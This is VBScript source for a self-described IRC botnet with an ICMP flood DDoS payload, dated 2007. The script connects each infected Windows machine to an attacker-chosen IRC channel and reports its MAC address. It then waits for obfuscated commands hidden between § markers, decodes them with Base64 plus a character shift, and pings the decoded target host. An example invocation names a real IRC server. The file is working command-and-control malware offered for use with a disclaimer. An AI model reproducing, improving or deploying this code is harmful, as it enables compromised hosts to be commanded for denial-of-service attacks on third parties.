' botnet6k.vbs.txt v.0.3 ' ############################################################################################## ' # ' # 6k irc botnet for win2k/xp with icmp4 flood ddos payload ' # by olivier.poudade@free.fr 18/11/2007 ' # disclaimer : author not liable for any use ' # ' ############################################################################################## ' Command-line params ' 0 = IRC SERVER IP ' 1 = IRC SERVER ADDRESS ' 2 = IRC CLIENT USER ' aka IDENT ' 3 = IRC CLIENT NAME ' 4 = IRC CLIENT NICK ' 5 = IRC CLIENT CHAN ' 6 = IRC SERVER DNS ' 7 = IRC CLIENT CHAN KEY ' 8 = IRC CLIENT CHAN TOPIC ' 9 = IRC CLIENT CHAN MSG ' ' example call : c:\cscript testirc3.vbs 8.7.233.44 6667 Jessie87 JessieLaforet Jessie_87 !informatique2! ircnet.choopa.net passkey topicislocked "salut les zouzous!" ' ' NOTABENE: ' the channel topic is crypted to §ODUvMjM2LzIzOC8yMTE=§ through endecrypt(1,"74.125.127.100") 'google.com ' call endecrypt(1,"74.125.127.100") 'google.com ' call ping(endecrypt(0,"ODUvMjM2LzIzOC8yMTE=")) ' ############################################################################################## set wmi = GetObject("winmgmts:\\.\root\cimv2") set oItems = wmi.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where ((IPEnabled = TRUE) And (MacAddress != NULL) And (SettingID != NULL))",,48) for each oItem in oItems mac=oItem.MACAddress next Set fso = CreateObject("Scripting.FileSystemObject") Set l0g = fso.OpenTextFile(".\log.txt", 8, True) Set irc = CreateObject("MSWinsock.Winsock") irc.Protocol = 0 ' PROTOCOLE TCP irc.RemoteHost = WScript.Arguments(0) ' "8.7.233.44" ' CHAT9.X-ECHO.COM irc.RemotePort = WScript.Arguments(1) ' 6667 irc.Connect Do While (irc.state <> 7) wscript.sleep(200) Loop WScript.Sleep 500 irc.SendData "USER " & WScript.Arguments(2) & " U U : " & WScript.Arguments(3) & vbCrLf irc.SendData "NICK " & WScript.Arguments(4) & vbCrLf WScript.Sleep 3000 irc.SendData "JOIN #" & WScript.Arguments(5) & " " & WScript.Arguments(7) & vbCrLf WScript.Sleep 3000 irc.SendData "TOPIC #" & WScript.Arguments(5) & " " & WScript.Arguments(8) & vbCrLf WScript.Sleep 3000 irc.SendData "MODE #" & WScript.Arguments(5) & " +stk " & WScript.Arguments(7) & vbCrLf ' was +stumk irc.SendData "PRIVMSG #" & WScript.Arguments(5) & " :Time "&Now&" "& WScript.Arguments(9) & " " & mac & vbCrLf raw = "xxx" Do While (irc.State=7) 'tant que connecté irc.GetData raw l0g.Write raw if (Left(raw,4) = "PING") then ' keepalive irc.SendData "PONG :" & WScript.Arguments(6) & vbCrLf else if (Instr(raw,"§")>0) then ' mastercommand call ping(endecrypt(0,mid(raw,Instr(1,raw,"§")+1,Instr(Instr(1,raw,"§")+1,raw,"§")-Instr(1,raw,"§")-1))) end if end if WScript.Sleep 200 Loop Set wmi = Nothing Set fso = Nothing Set l0g = Nothing Set irc = Nothing WScript.Sleep 100000 WScript.Quit(0) Function endecrypt(bool,text) Const diff = 1 Dim char, code, i, temp if bool=0 then text=Base64Decode(text) end if temp = "" For i = 1 To Len(text) char = Asc(Mid(text,i,1)) If bool Then code = char + diff Else code = char - diff End If temp = temp & Chr(code) Next text = temp if bool=1 then text=Base64Encode(text) end if endecrypt=text End Function Function Base64Encode(inData) Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Dim cOut, sOut, I For I = 1 To Len(inData) Step 3 Dim nGroup, pOut, sGroup nGroup = &H10000 * Asc(Mid(inData, I, 1)) + &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1)) nGroup = Oct(nGroup) nGroup = String(8 - Len(nGroup), "0") & nGroup pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1) sOut = sOut + pOut Next Select Case Len(inData) Mod 3 Case 1: '8 bit final sOut = Left(sOut, Len(sOut) - 2) + "==" Case 2: '16 bit final sOut = Left(sOut, Len(sOut) - 1) + "=" End Select Base64Encode = sOut End Function Function Base64Decode(ByVal base64String) Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Dim dataLength, sOut, groupBegin base64String = Replace(base64String, vbCrLf, "") base64String = Replace(base64String, vbTab, "") base64String = Replace(base64String, " ", "") dataLength = Len(base64String) If dataLength Mod 4 <> 0 Then Err.Raise 1, "Base64Decode", "Bad Base64 string." Exit Function End If For groupBegin = 1 To dataLength Step 4 Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut numDataBytes = 3 nGroup = 0 For CharCounter = 0 To 3 thisChar = Mid(base64String, groupBegin + CharCounter, 1) If thisChar = "=" Then numDataBytes = numDataBytes - 1 thisData = 0 Else thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1 End If If thisData = -1 Then Err.Raise 2, "Base64Decode", "Bad character In Base64 string." Exit Function End If nGroup = 64 * nGroup + thisData Next nGroup = Hex(nGroup) nGroup = String(6 - Len(nGroup), "0") & nGroup pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2))) sOut = sOut & Left(pOut, numDataBytes) Next Base64Decode = sOut End Function Function MyASC(OneChar) If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar) End Function Function Ping(strHost) dim objPing, objRetStatus set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_PingStatus where address = '" & strHost & "'") for each objRetStatus in objPing Wscript.Echo "Bytes = " & vbTab & objRetStatus.BufferSize Wscript.Echo "Time (ms) = " & vbTab & objRetStatus.ResponseTime Wscript.Echo "TTL (s) = " & vbTab & objRetStatus.ResponseTimeToLive next End Function